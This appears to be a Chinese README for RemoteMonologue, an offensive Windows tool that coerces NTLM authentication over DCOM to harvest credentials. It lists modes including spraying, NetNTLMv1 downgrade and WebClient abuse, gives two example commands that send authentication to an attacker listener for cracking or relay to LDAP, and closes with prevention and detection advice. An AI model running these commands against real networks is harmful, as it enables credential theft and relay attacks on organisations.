RemoteMonologue 是一种 Windows 凭据收集技术,通过利用 Interactive User RunAs 密钥并通过 DCOM 强制 NTLM 认证,实现对远程用户的入侵。
阅读 X-Force Red 的 [RemoteMonologue:将 DCOM 武器化用于 NTLM 认证强制],获取详细信息。
🔹 通过 DCOM 进行认证强制(-dcom)
ServerDataCollectorSet、FileSystemImage、MSTSWebProxy、UpdateSession),对指定监听器(-auth-to)触发 NTLM 认证。🔹 凭据喷洒(-spray)
🔹 NetNTLMv1 降级攻击(-downgrade)
🔹 WebClient 服务滥用(-webclient)
🔹 用户枚举(-query)
注意: 需要对目标系统拥有本地管理员权限。
pip install impacket
以下是使用 NetNTLMv1 降级攻击并以 Responder 作为监听器运行 RemoteMonologue 的示例。默认情况下,如果未指定 DCOM 选项,该工具将使用 ServerDataCollectorSet DCOM 对象。
RemoteMonologue.py domain/user:password@target -auth-to [监听器 IP] -downgrade

以下是另一个示例,这次攻击使用 FileSystemImage DCOM 对象执行,并启用 WebClient 服务以获取 HTTP 认证,然后使用 ntlmrelayx 将认证中继到 LDAP。
RemoteMonologue.py domain/user:password@target -auth-to [监听器 NETBIOS@端口] -webclient -dcom FileSystemImage

为防范和检测这些技术,可以实施多种预防和检测措施。
预防措施:
启用 LDAP 签名和通道绑定:在域控制器上配置 LDAP 签名强制和通道绑定,以保护 LDAP 端点免受中继攻击。注意:从 Windows Server 2025 开始,这些设置将默认强制执行。
升级到最新 Windows 版本:将服务器升级到 Windows Server 2025,工作站升级到 Windows 11 版本 24H2,以缓解 NetNTLM 降级攻击,因为这些版本已移除 NTLMv1。
强制 SMB 签名:在 Windows 服务器上启用并强制 SMB 签名,以防止 SMB 中继攻击。
实施强密码策略:强制执行强密码要求,使密码破解攻击更加困难。
检测机会:
监控对 DCOM 对象的远程访问:跟踪对受影响 DCOM 对象及其特定属性和方法的访问,以识别异常活动。
监控注册表修改:监控 RunAs 和 LmCompatibilityLevel 注册表项的更改。
跟踪 WebClient 服务活动:监控远程启用 WebClient 服务的实例,因为这用于促进基于 HTTP 的 NTLM 认证。